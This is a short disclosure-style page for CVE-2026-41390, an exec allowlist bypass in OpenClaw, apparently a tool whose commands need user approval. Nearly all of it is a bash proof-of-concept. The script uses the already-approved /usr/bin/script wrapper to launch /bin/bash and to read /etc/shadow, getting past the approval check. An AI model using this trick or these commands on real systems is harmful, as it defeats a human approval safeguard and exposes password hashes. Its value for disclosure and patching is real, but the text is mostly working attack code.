CVE-2026-41390 OpenClaw执行允许列表绕过漏洞

#!/bin/bash # PoC for CVE-2026-41390: OpenClaw Exec Allowlist Bypass # This script demonstrates how an attacker can leverage the trusted wrapper # /usr/bin/script to execute arbitrary commands after the user has approved # a benign usage of the wrapper. # Scenario: User has previously approved 'script /bin/ls' via OpenClaw. # OpenClaw now trusts '/usr/bin/script' blindly. # The attacker now executes a shell using the trusted wrapper # This bypasses the allowlist check because the binary path is trusted. /usr/bin/script -c "/bin/bash" # Alternatively, executing any other command /usr/bin/script -c "cat /etc/shadow"